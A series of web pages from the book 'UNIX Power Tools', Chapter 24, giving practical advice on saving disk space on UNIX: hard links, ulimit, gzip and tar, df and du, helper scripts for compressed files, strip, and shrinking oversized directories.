UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.2 Save Space with Bit Bucket Log Files and Mailboxes Chapter 24
Other Ways to Get Disk Space 		Next: 24.4 Save Space with a Link

24.3 Unlinking Open Files Isn't a Good Idea

[Some programmers write programs that make temporary files, open them, then unlink (remove) each file before they're done reading it . (45.10) This keeps other people from deleting, reading, or overwriting a file. Because the file is opened by a process, UNIX removes the file's directory entry (its link) but doesn't actually free the disk space until the process is done with the file. Here's why you shouldn't do that. (By the way, the point Chris makes about system administrators cleaning up full filesystems by emptying open files is a good one.) -JP]

To give people another reason not to unlink open files (besides that it does, er, "interesting" things under NFS (1.33)), consider the following:

multi 1000 </usr/dict/words >/tmp/file1

(multi is a program that makes n copies of its input; here n is 1000.) Now suppose /tmp (21.2) runs out of space. You can:

rm /tmp/file1           # oops, file didn't actually go away
ps ax                   # find the "multi" process
kill pid                # get rid of it

or you can:

/dev/null
cp /dev/null /tmp/file1 # now have some time to fix things up

Bending the example a bit, suppose that /tmp runs out of file space and there are a bunch of unlinked but open (45.20) files. To get rid of the space these occupy, you must kill the processes holding them open. However, if they are ordinary files, you can just trim them down to zero bytes.

There is one good reason to unlink open temporary files: if anything goes wrong, the temporary files will vanish. There is no other way to guarantee this absolutely. You must balance this advantage against the disadvantages.

- CT in net.unix-wizards on Usenet, 9 September 1985

Previous: 24.2 Save Space with Bit Bucket Log Files and Mailboxes | UNIX Power Tools | Next: 24.4 Save Space with a Link
24.2 Save Space with Bit Bucket Log Files and Mailboxes | Book Index | 24.4 Save Space with a Link
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.4 Save Space with a Link

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.3 Unlinking Open Files Isn't a Good Idea Chapter 24
Other Ways to Get Disk Space 		Next: 24.5 Limiting File Sizes

24.4 Save Space with a Link

You might have copies of the same file in several directories because:

  • Several different users need to read it (a data file, a program setup file, a telephone list, etc.).

  • It's a program that more than one person wants to use. For some reason, you don't want to keep one central copy and put its directory in your search path (8.7).

  • The file has a strange name or it's in a directory you don't usually use. You want a name that's easier to type, but you can't use mv.

ln
Instead of running cp, think about ln. (Your system should have ln. But it comes with the GNU fileutils, so it's on the Power Tools disc too.) There are lots of advantages to links (18.3). One big advantage of hard links is that they don't use any disk space. [1] The bigger the file, the more space you save with a link. A symbolic link always takes some disk space, so a hard link might be better (unless you have to link across filesystems so hard links can't be used).

[1] The link entry takes a few characters in the directory where you make the link. Unless this makes the directory occupy another disk block, the space available on the disk doesn't change.

Some people don't use links because they think all links to a file need to have the same name. That's not true. A link can be named myfile in one directory and file.allan in another directory-UNIX keeps it all straight.

- JP

Previous: 24.3 Unlinking Open Files Isn't a Good Idea | UNIX Power Tools | Next: 24.5 Limiting File Sizes
24.3 Unlinking Open Files Isn't a Good Idea | Book Index | 24.5 Limiting File Sizes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.5 Limiting File Sizes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.4 Save Space with a Link Chapter 24
Other Ways to Get Disk Space 		Next: 24.6 Save Space with Tab Characters

24.5 Limiting File Sizes

Here is a technique to keep you from creating large files (which can happen by accident, such as runaway programs). To set a maximum file size, use the C shell command (usually in your .cshrc file) limit filesize max-size. In the Korn shell and bash, use ulimit -f max-size. You can change the limit from the command line, too. For example, the csh and ksh commands below keep you from creating any files larger than 2 megabytes:

% limit filesize 2m
$ ulimit -f 2000

With this command, UNIX will refuse to allocate more disk space to any file that grows larger than 2 MB.

Similarly, on Berkeley systems, you can use limit and ulimit to restrict the size of core dump files (52.9). Core dumps are generally large files and are often generated for innocuous reasons, such as invoking commands incorrectly. To set a maximum size for core dumps, execute one of these commands:

% limit coredumpsize max-size
$ ulimit -c max-size

To eliminate core dumps entirely, use 0 (zero) for max-size. Because core dumps are essential for effective debugging, any users who are actively debugging programs should know the commands unlimit coredumpsize, which removes this restriction in csh-and ulimit -c unlimited for bash and ksh.

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 5

Previous: 24.4 Save Space with a Link | UNIX Power Tools | Next: 24.6 Save Space with Tab Characters
24.4 Save Space with a Link | Book Index | 24.6 Save Space with Tab Characters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.6 Save Space with Tab Characters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.5 Limiting File Sizes Chapter 24
Other Ways to Get Disk Space 		Next: 24.7 Compressing Files to Save Space

24.6 Save Space with Tab Characters

unexpand
The gzip (24.7) utility, and other utilities like compress, save space by squeezing text into a form that you can't read without uncompressing. If a file has lots of spaces in it - for example, columns with lots of space between them, or lines that are indented - you may be able to save space and keep the file readable too. Do that by changing the spaces to TAB characters with unexpand. If it's not on your system, get it from the CD-ROM.

How does it work? Article 41.4 introduces TAB handling on UNIX. Each TAB character can replace as many as eight space characters. By default, unexpand only changes spaces to TABs at the left margin. With the -a option, it changes spaces wherever it can (without changing the column positions of any text, of course). Comparing ls -l listings of a file before and after unexpanding will tell you how much you've saved; the amount will vary file by file.

There are a few gotchas:

  • Your screen might not have tabstops every eight characters, so use cat to send an unexpanded file to your screen; be sure the file looks the same as it did when it had spaces.

  • If you're sending the file to someone else, that person may have screen problems too. You might want to expand (41.4) the TABs before you send the file.

  • Editing a file with TABs can be tough. Just expand before editing and unexpand when you're done.

- JP

Previous: 24.5 Limiting File Sizes | UNIX Power Tools | Next: 24.7 Compressing Files to Save Space
24.5 Limiting File Sizes | Book Index | 24.7 Compressing Files to Save Space
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.7 Compressing Files to Save Space

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.6 Save Space with Tab Characters Chapter 24
Other Ways to Get Disk Space 		Next: 24.8 Save Space: tar and compress a Directory Tree

24.7 Compressing Files to Save Space

Most files can be "squeezed" to take up less space. Let's say you have a text file. Each letter occupies a byte, but almost all of the characters in the file are alphanumeric or punctuation, and there are only about 70 such characters. Furthermore, most of the characters are (usually) lowercase; furthermore, the letter "e" turns up more often than "z," the letter "e" often shows up in pairs, and so on. All in all, you don't really need a full eight-bit byte per character. If you're clever, you can reduce the amount of space a file occupies by 50 percent or more.

gzip
Compression algorithms are a complex topic that we can't discuss here. Fortunately, you don't need to know anything about them. Many UNIX systems have a good compression utility built in. It's called compress. Unfortunately, though, the compress algorithm seems to be covered by software patents; many users avoid it for that reason. A newer utility that's even better, and doesn't have patent problems, is GNU's gzip. Those of you who don't have gzip can find it on the CD-ROM.

To compress a file, just give the command:

% gzip filename

The file's name is changed to filename.gz. The -v option asks gzip to tell you how much space you saved. The savings are usually between 40 and 90 percent.

If the file shouldn't be compressed - that is, if the file has hard links (18.4) or the corresponding file already exists-gzip prints a message. You can use the -f option to "force" gzip to compress such a file. This might be better if you're using gzip within a shell script and don't want to worry about files that might not be compressed.

Compressed files are always binary files; even if they started out as text files, you can't read them. To get back the original file, use the gunzip utility:

% gunzip filename

(gunzip also handles files from compress, or you can use uncompress if you'd rather.) You can omit the .gz at the end of the filename. If you just want to read the file but don't want to restore the original version, use the command gzcat; this just decodes the file and dumps it to standard output. It's particularly convenient to pipe gzcat into more (25.3) or grep (27.1). (There's a zcat for compressed files, but gzcat can handle those files too.)

The CD-ROM has several scripts that work on compressed files, uncompressing and recompressing them automatically: editing with zvi, zex, and zed (24.11); viewing with zmore, zless, and zpg (25.5); or running almost any command that can read from a pipe with zloop (24.10).

There are a number of other compression utilities floating around the UNIX world. gzip also works on other operating systems, though. It's reliable and freely available. So gzip has become the utility that more people choose.

- ML, JP

Previous: 24.6 Save Space with Tab Characters | UNIX Power Tools | Next: 24.8 Save Space: tar and compress a Directory Tree
24.6 Save Space with Tab Characters | Book Index | 24.8 Save Space: tar and compress a Directory Tree
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.8 Save Space: tar and compress a Directory Tree

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.7 Compressing Files to Save Space Chapter 24
Other Ways to Get Disk Space 		Next: 24.9 How Much Disk Space?

24.8 Save Space: tar and compress a Directory Tree

In the UNIX filesystem, files are stored in blocks (52.9). Each nonempty file, no matter how small, takes at least one block. [2] A directory tree full of little files can fill up a lot of partly empty blocks. A big file is more efficient because it fills all (except possibly the last) of its blocks completely.

[2] Completely empty files (zero characters) don't take a block.

The tar (19.5) command can read lots of little files and put them into one big file. Later, when you need one of the little files, you can extract it from the tar archive. Seems like a good space-saving idea, doesn't it? But tar, which was really designed for magnetic tape archives, adds "garbage" characters at the end of each file to make it an even size. So, a big tar archive uses about as many blocks as the separate little files do.

Okay, then why am I writing this article? Because the gzip (24.7) utility can solve the problems. It squeezes files down - especially, compressing gets rid of repeated characters. Compressing a tar archive typically saves 50 percent or more.

Making a compressed archive of a directory and all of its subdirectories is easy: tar copies the whole tree when you give it the top directory name. Just be sure to save the archive in some directory that won't be copied - so tar won't try to archive its own archive! I usually put the archive in the parent directory. For example, to archive my directory named project, I'd use the commands below. If you work on a system that has 14-character filename length limits, be sure that the archive filename (here, project.tar.gz) won't be too long. The .tar.gz extension isn't required, just a convention. Watch carefully for errors:

..

-r
% cd project
% tar clf - . | gzip > ../project.tar.gz
% cd ..
% rm -r project

The tar l (lowercase letter L) option will print messages if any of the files you're archiving have other hard links (18.4). If a lot of your files have other links, archiving the directory may not save much disk space - the other links will keep those files on the disk, even after your rm -r command.

Any time you want a list of the files in the archive, use tar t or tar tv:

more

% gzcat project.tar.gz | tar tvf - | more
rw-r--r--239/100    485 Oct  5 19:03 1991 ./Imakefile
rw-rw-r--239/100   4703 Oct  5 21:17 1991 ./scalefonts.c
rw-rw-r--239/100   3358 Oct  5 21:55 1991 ./xcms.c
rw-rw-r--239/100  12385 Oct  5 22:07 1991 ./io/input.c
rw-rw-r--239/100   7048 Oct  5 21:59 1991 ./io/output.c
   ...

To extract all the files from the archive, type:

% mkdir project
% cd project
% gzcat ../project.tar.gz | tar xf -

Of course, you don't have to extract the files into a directory named project. You can read the archive file from other directories, move it to other computers, and so on.

You can also extract just a few files and/or directories from the archive. Be sure to use exactly the name shown by the tar t command above. For instance, to restore the old subdirectory named project/io (and everything that was in it), you'd type:

% mkdir project
% cd project
% gzcat ../project.tar.gz | tar xf - ./io

- JP

Previous: 24.7 Compressing Files to Save Space | UNIX Power Tools | Next: 24.9 How Much Disk Space?
24.7 Compressing Files to Save Space | Book Index | 24.9 How Much Disk Space?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.9 How Much Disk Space?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.8 Save Space: tar and compress a Directory Tree Chapter 24
Other Ways to Get Disk Space 		Next: 24.10 zloop: Run a Command on Compressed Files

24.9 How Much Disk Space?

Two tools, df and du, report how much disk space is free and how much is used by any given directory. For each filesystem, df tells you the capacity, how much space is in use, and how much is free. By default, it lists both local and remote (i.e., NFS (1.33)) filesystems. Under BSD UNIX, the output from df looks like this:

% df
Filesystem   kbytes   used    avail  capacity  Mounted on
/dev/disk0a  889924  724308   76620    90%     /
/dev/disk3d  505463  376854   78062    83%     /benchmarks
/dev/disk5e  635287  553121   18637    97%     /field
/dev/disk2d  505463  444714   10202    98%     /research
/dev/disk1e  956094  623534  236950    72%     /homes
toy:/usr     498295  341419  107046    76%     /usr
toy:/          7495    5883     862    87%     /root
   ...

This report shows information about five local filesystems and two remote filesystems (from the system toy). The /research and /field filesystems are nearly filled (98 and 97 percent, respectively), while the other filesystems still have a lot of room left. You might want to take some action to free up some storage on these two filesystems. Note that a BSD filesystem that is 100 percent full really has 10 percent free space&ndash;but only the superuser (1.24) can use this last 10& percent, and that usually isn't a good idea.

df can be invoked in several other ways:

  • If you already know that you're interested in a particular filesystem, you can use a command such as df /homes or df& . (. means "the current directory" (1.21)).

  • If your system uses NFS and you are interested only in local filesystems, use the command df -t& 4.2. You should always use this command if remote file servers are down. If you have mounted remote disks that are unavailable, df will be extremely slow.

  • If you are interested in inode (1.22) usage rather than filesystem data capacity, use the command df -i. This produces a similar report showing inode statistics.

If you are using the older System V filesystem, the report from df will look different. The information it presents, however, is substantially the same. Here is a typical report, taken from a XENIX system:

% df
/       (/dev/root ):    1758 blocks    3165 i-nodes
/u      (/dev/u    ):     108 blocks   13475 i-nodes
/us     (/dev/us   ):   15694 blocks    8810 i-nodes

df
There are 1758 physical blocks (always measured as 512-byte blocks, regardless of the filesystem's logical block size) and 3165 inodes available on the root filesystem. To find out the filesystem's total capacity, use df -t. The command df -l only reports on your system's local filesystems, omitting filesystems mounted by NFS or RFS. The dfspace command (available on Systems V.3 and V.4) produces a significantly nicer report that's similar to the BSD-style df. For each filesystem, dfspace shows the amount of free storage both in kilobytes and as a percentage of the filesystem's size. You may also want to try the GNU df on the CD-ROM.

It is often useful to know how much storage a specific directory requires. This can help you to determine if any users are occupying more than their share of storage. The du utility provides such a report. Here's a simple report from du:

% du
107     ./reports
888     ./stuff
32      ./howard/private
33      ./howard/work
868     ./howard
258     ./project/code
769     ./project
2634    .

This command shows that the current directory and all of its subdirectories occupy about 2.5 MB (2634 KB). The biggest directories in this group are stuff and howard, which have a total of 888 KB and 868 KB, respectively. The report also shows storage occupied by sub-subdirectories (/howard/work, etc.). du& does not show individual files as separate items, unless you invoke it with the -a& option. Note that System V reports disk usage in 512-byte blocks, not KB.

The -s option tells du to report the total amount of storage occupied by a directory; it suppresses individual reports for all subdirectories. For example:

% du -s
2634    .

This is essentially the last line of the previous report.

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 5

Previous: 24.8 Save Space: tar and compress a Directory Tree | UNIX Power Tools | Next: 24.10 zloop: Run a Command on Compressed Files
24.8 Save Space: tar and compress a Directory Tree | Book Index | 24.10 zloop: Run a Command on Compressed Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.10 zloop: Run a Command on Compressed Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.9 How Much Disk Space? Chapter 24
Other Ways to Get Disk Space 		Next: 24.11 Edit Compressed Files with zvi, zex, and zed

24.10 zloop: Run a Command on Compressed Files

The good thing about compressing files (24.7) is that it saves disk space. The bad thing is that if there are lots of compressed files you want to access separately, typing all those gzcat (or zcat) commands can get tedious and waste time.

I wrote a script named zloop that takes a command you want to run and a list of compressed files. It runs gzcat on each file, separately, and pipes each gzcat output to the command you gave. Because gzcat also understands compress format, it can handle .Z files too. The script shows the command line it ran and the output (if any) of the command. If the command returned nonzero status (44.7), zloop prints a warning.

% ls
185.gz  187.gz  189.gz  191.gz  193.gz  195.gz  197.gz
186.gz  188.gz  190.gz  192.gz  194.gz  196.gz  198.gz
% zloop 'egrep "^Subject:.*group"' *.gz

==== zloop: zcat 185.gz | egrep "^Subject:.*group" ====
Subject: List of Active Newsgroups

==== zloop: zcat 186.gz | egrep "^Subject:.*group" ====
Subject: Alternative Newsgroup Hierarchies

==== zloop: zcat 187.gz | egrep "^Subject:.*group" ====
zloop: note: that command returned 1 (non-zero) status:
   '/usr/local/bin/gzcat 187.gz | egrep "^Subject:.*group"'

==== zloop: zcat 188.gz | egrep "^Subject:.*group" ====
Subject: Checkgroups message (with INET groups)
Subject: Checkgroups message (without INET groups)
Subject: Monthly checkgroups posting
   ...

zloop is sort of verbose for a UNIX command - but you can make it quieter by editing the script. The status messages are sent to standard error. So, if you want to send zloop output through a pager like more, tell the shell to merge standard output and standard error:

|&

2>&1
.\
% zloop 'egrep "^Subject:.*group"' *.gz |& more   csh

$ zloop 'egrep "^Subject:.*group"' *.gz 2>&1 | more   sh

With a plain pipe (|), status messages and command output can be jumbled (13.4).

In case it isn't clear: when you redirect the output of zloop, you're redirecting the output of all the commands that zloop runs - i.e., typing this command:

tr -2
% zloop 'tr "[A-Z]" "[a-z]" | pr -2' *.gz > toprint

is like typing these commands by hand:

(

( gzcat file1.gz | tr "[A-Z]" "[a-z]" | pr -2
  gzcat file2.gz | tr "[A-Z]" "[a-z]" | pr -2
  gzcat file3.gz | tr "[A-Z]" "[a-z]" | pr -2
) > toprint

zloop
and feeding the standard output of that subshell (13.7), and all of the commands, to the toprint file. You may never do anything that fancy with zloop. The script is on the CD-ROM.

- JP

Previous: 24.9 How Much Disk Space? | UNIX Power Tools | Next: 24.11 Edit Compressed Files with zvi, zex, and zed
24.9 How Much Disk Space? | Book Index | 24.11 Edit Compressed Files with zvi, zex, and zed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.11 Edit Compressed Files with zvi, zex, and zed

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.10 zloop: Run a Command on Compressed Files Chapter 24
Other Ways to Get Disk Space 		Next: 24.12 Compressing a Directory Tree: Fine-Tuning

24.11 Edit Compressed Files with zvi, zex, and zed

Compressed files (24.7) save disk space. But compressed files aren't as convenient to work with: you have to uncompress them before you can read or edit them. This script makes editing easier. It uncompresses files that were compressed with the GNU gzip utility. Then it starts a text editor: vi, ex, or ed. (It's easy to modify this to use other editors.) The vi and ex editors can edit several files (30.4); this script handles that. After you edit all the files, the script recompresses them in the background so that you don't have to wait. There's one more bit of trickery here: instead of uncompressing all files you specify before it starts the editor, the script uncompresses just the first file - it does the rest in the background while you're editing the first file. (It figures out what all the uncompressed files will be named. By the time the editor gets to them, they should have been uncompressed.)

This makes it easy to save a lot of disk space by keeping your files gzipped most of the time. The response is almost as fast as editing an uncompressed file, especially if the first file on the command line is a small one. Here's an example. I'll edit the files qlog.gz and /usr/central/data.gz with vi. Next, I'll run zed editing script (28.9) on bigfile.gz:

% zvi qlog.gz /usr/central/data   The .gz isn't required

    ...Edit the two files like a normal vi multiple-file session...

zvi: re-gzipping qlog /usr/central/data in the background...
% zed bigfile < edscr
173571   ed's file size counts
183079
zed: re-gzipping bigfile in the background...

zvi
If there are any errors, the program prompts you when it can - otherwise you'll get email (1.33) with a copy of the error messages. Please test this script carefully on your system before you use it. All this trickery could need a little tweaking to work right.

Most of the script is pretty straightforward. Unfortunately, the script won't work with editors like Emacs (32.1) that try to open all files from the command line immediately. You could change that by making the script uncompress all files before starting Emacs.

The section that follows is interesting. It's the part that uncompresses background files. If there's an error in the background, how does the script catch it?

test -n "$bgfiles" && $uncompress $bgfiles >$t 2>&1 &
$prog $files

if [ -s $t ]
then
    echo "$myname: 'gunzip $bgfiles' bombed:" 1>&2
    cat $t 1>&2
    $echo "Should I try to gzip all files [ny](n)? $nnl"
    read ans

The standard output and standard error of the background job goes to a temporary file, $t. The editor ($prog) runs. After you quit the editor, the test ([) (44.20) -s option checks the temporary file. If the file isn't empty, the script shows you the errors from it (the file) and asks you whether the files should be regzipped.

The script is written to have two other links (18.3). You may want to make more or fewer links though, depending on the editors your system has. If you install the script from the CD-ROM, the links will be made for you. If you type in the script, put it in an executable file named zvi. Then make the links:

% chmod 755 zvi
% ln zvi zex
% ln zvi zed

The script tests the name it was called with, from $0, to decide which editor to use. This trick saves disk space. You can change the editors it uses by modifying the script and adding or removing links.

The absolute pathnames at the start of the script may need to be changed for your system.

- JP

Previous: 24.10 zloop: Run a Command on Compressed Files | UNIX Power Tools | Next: 24.12 Compressing a Directory Tree: Fine-Tuning
24.10 zloop: Run a Command on Compressed Files | Book Index | 24.12 Compressing a Directory Tree: Fine-Tuning
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.12 Compressing a Directory Tree: Fine-Tuning

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.11 Edit Compressed Files with zvi, zex, and zed Chapter 24
Other Ways to Get Disk Space 		Next: 24.13 Save Space in Executable Files with strip

24.12 Compressing a Directory Tree: Fine-Tuning

Here's a quick little command that will compress (24.7) files in the current directory and below. It uses find (17.2) to find the files, recursively, and pick the files it should compress:

-size xargs
% find . ! -perm -0100 -size +1 -type f -print | xargs gzip -v

This command finds all files that:

  • Are not executable (! -perm -0100), so we don't compress shell scripts and other program files.

  • Are bigger than one block, since it won't save any disk space to compress a file that takes one disk block or less. But, depending on your filesystem, the -size +1 may not really match files that are one block long. You may need to use -size +2, -size +1024c, or something else.

  • Are regular files (-type f) and not directories, named pipes, etc.

The -v switch to gzip tells you the names of the files and how much they're being compressed. If your system doesn't have xargs, use:

% find . ! -perm -0100 -size +1 -type f -exec gzip -v {} \;

Tune the find expressions to do what you want. Here are some ideas - for more, read your system's find manual page:

! -name \*.gz

Skip any file that's already gzipped (filename ends with .gz ).

-links 1

Only compress files that have no other (hard) links.

-user yourname

Only compress files that belong to you.

-atime +60

Only compress files that haven't been accessed (read, edited, etc.) for more than 60 days.

You might want to put this in a job that's run every month or so by at (40.3) or cron (40.12).

- JP

Previous: 24.11 Edit Compressed Files with zvi, zex, and zed | UNIX Power Tools | Next: 24.13 Save Space in Executable Files with strip
24.11 Edit Compressed Files with zvi, zex, and zed | Book Index | 24.13 Save Space in Executable Files with strip
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.13 Save Space in Executable Files with strip

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.12 Compressing a Directory Tree: Fine-Tuning Chapter 24
Other Ways to Get Disk Space 		Next: 24.14 Don't Use strip Carelessly

24.13 Save Space in Executable Files with strip

Warning! After you compile (52.8) and debug a program, there's a part of the executable binary that you can delete to save disk space. The strip command does the job. Note that once you strip a file, you can't use a symbolic debugger like dbx on it!

Here's an example. I'll compile a C program and list it. Then I'll strip it and list it again. How much space you save depends on several factors, but you'll almost always save something.

-s

% cc -o echoerr echoerr.c
% ls -ls echoerr
  52 -rwxr-xr-x   1 jerry    24706 Nov 18 15:49 echoerr
% strip echoerr
% ls -ls echoerr
  36 -rwxr-xr-x   1 jerry    16656 Nov 18 15:49 echoerr

If you know that you want a file stripped when you compile it, use cc with its -s option. If you use ld-say, in a makefile (28.13)- use the -s option there.

Here's a shell script named stripper that finds all the unstripped executable files in your bin directory (4.2) and strips them. It's a quick way to save space on your account. (The same script, searching the whole filesystem, will save even more space for system administrators - but watch out for unusual filenames (9.22)):

xargs

#! /bin/sh
skipug="! -perm -4000 ! -perm -2000"  # SKIP SETUID, SETGID FILES
find $HOME/bin -type f \( -perm -0100 $skipug \) -print |
xargs file |
sed -n '/executable .*not stripped/s/:[TAB].*//p' |
xargs -t strip

The find (17.2) finds all executable files that aren't setuid or setgid (24.14) and runs file (25.8) to get a description of each. The sed command skips shell scripts and other files that can't be stripped. sed searches for lines from file like:

/usr/local/bin/xemacs:[TAB]xxx... executable xxx... not stripped

with the word "executable" followed by "not stripped"-sed removes the colon, tab, and description, then passes the filename to strip.

- JP

Previous: 24.12 Compressing a Directory Tree: Fine-Tuning | UNIX Power Tools | Next: 24.14 Don't Use strip Carelessly
24.12 Compressing a Directory Tree: Fine-Tuning | Book Index | 24.14 Don't Use strip Carelessly
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.14 Don't Use strip Carelessly

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.13 Save Space in Executable Files with strip Chapter 24
Other Ways to Get Disk Space 		Next: 24.15 Trimming a Directory

24.14 Don't Use strip Carelessly

One nice way to save space in your filesystem is by running strip (24.13) on directly-executable (binary) files. You'll probably think of running it recursively with find (17.2). Be careful. On some operating systems, using strip on a setuid file (1.23) will strip the setuid bit; the program won't be setuid anymore. It's best to tell find to skip setuid and setgid files. For instance, the command below finds all world-executable files (17.15) that are not setuid or setgid (17.16):

% find . -type f -perm -0001 ! -perm -4000 ! -perm -2000 ...

Other files that shouldn't be stripped include the UNIX kernel (like /vmunix) and files that programmers need to debug.

- JP

Previous: 24.13 Save Space in Executable Files with strip | UNIX Power Tools | Next: 24.15 Trimming a Directory
24.13 Save Space in Executable Files with strip | Book Index | 24.15 Trimming a Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.15 Trimming a Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.14 Don't Use strip Carelessly Chapter 24
Other Ways to Get Disk Space 		Next: 24.16 Trimming a Huge Directory

24.15 Trimming a Directory

In article 4.7, we mentioned that it's good to keep directories relatively small. Large directories can make your system seem slower because it takes more time to look up files. How small is "small"? Under 60 files is great.

However, there's a problem: the size of a directory can only increase. That is, creating new files can make a directory bigger; deleting new files doesn't, in itself, make the directory any smaller. I'm not saying that a directory grows every time you create a new file. That's not true; if you've deleted a file, the directory will have an empty entry in it, and UNIX can re-use the empty entry. But the fact remains: a directory can only get bigger; it can never get smaller, unless you delete it. [Some BSD systems will "squeeze" directories smaller. -JP ]

So let's say you've been sloppy and have a few directories around with hundreds of files, a lot of which is junk you don't need (I've been there). You could just delete the junk, which would make your disk happier, but you haven't reduced the directory's size. What do you do? Here's a trick:

  1. Rename the old directory:

    % mv project project.toobig

  2. Create a new directory with the old directory's name:

    % mkdir project

  3. Move only the files you want from the old directory into the new directory:

    % mv project.toobig/*.txt project

  4. Now the old directory contains only junk. Delete the old obese directory and everything in it:

    % rm -r project.toobig

- ML

Previous: 24.14 Don't Use strip Carelessly | UNIX Power Tools | Next: 24.16 Trimming a Huge Directory
24.14 Don't Use strip Carelessly | Book Index | 24.16 Trimming a Huge Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.16 Trimming a Huge Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.15 Trimming a Directory Chapter 24
Other Ways to Get Disk Space 		Next: 24.17 Disk Quotas

24.16 Trimming a Huge Directory

Some implementations of the BSD fast filesystem never truncate directories. That is, when you delete a file, the filesystem marks its directory entry as "invalid," but doesn't actually delete the entry. The old entry can be re-used when someone creates a new file, but will never go away. Therefore, the directories themselves can only get larger with time. Directories usually don't occupy a huge amount of space, but searching through a large directory is noticeably slow. So you should avoid letting directories get too large.

On many UNIX systems, the only way to "shrink a directory" is to move all of its files somewhere else and then remove it; for example:

.[^A--/-^?]

ls -lgd old   Get old owner, group, and mode
mkdir new; chown user new; chgrp group new; chmod mode new
mv old/.??* old/.[^A--/-^?] old/* new   ^A and ^? are CTRL-a and DEL
rmdir old
mv new old

This method also works on V7-ish filesystems. It cannot be applied to the root of a filesystem.

Other implementations of the BSD fast filesystem do truncate directories. They do this after a complete scan of the directory has shown that some number of trailing fragments are empty. Complete scans are forced for any operation that places a new name into the directory - such as creat(2) or link(2). In addition, new names are always placed in the earliest possible free slot. Hence, on these systems there is another way to shrink a directory. [How do you know if your BSD filesystem truncates directories? Try the pseudo-code below (but use actual commands), and see if it has an effect. -ML ]

while (the directory can be shrunk) {
    mv (file in last slot) (some short name)
    mv (the short name) (original name)
}

This works on the root of a filesystem as well as subdirectories.

Neither method should be used if some external agent (for example, a daemon) is busy looking at the directory. The first method will also fail if the external agent is quiet but will resume and hold the existing directory open (for example, a daemon program, like sendmail, that rescans the directory, but which is currently stopped or idle). The second method requires knowing a "safe" short name - i.e., a name that doesn't duplicate any other name in the directory.

I have found the second method useful enough to write a shell script to do the job. I call the script squoze:

IFS

:

-r

-i &&

#! /bin/sh
#
# squoze
last=
ls -ldg
IFS='
'
while :
do
   set `ls -f | tail -10r`
   for i do
      case "$i" in "$last"|.|..) break 2;; esac
      # _ (underscore) is the "safe, short" filename
      /bin/mv -i "$i" _ && /bin/mv _ "$i"
   done
   last="$i"
done
ls -ldg

[The ls -f option lists entries in the order they appear in the directory; it doesn't sort. -JP ] This script does not handle filenames with embedded newlines. It is, however, safe to apply to a sendmail queue while sendmail is stopped.

- CT in comp.unix.admin on Usenet, 22 August 1991

Previous: 24.15 Trimming a Directory | UNIX Power Tools | Next: 24.17 Disk Quotas
24.15 Trimming a Directory | Book Index | 24.17 Disk Quotas
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.17 Disk Quotas

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.16 Trimming a Huge Directory Chapter 24
Other Ways to Get Disk Space 		Next: 24.18 Huge Files Might Not Take a Lot of Disk Space

24.17 Disk Quotas

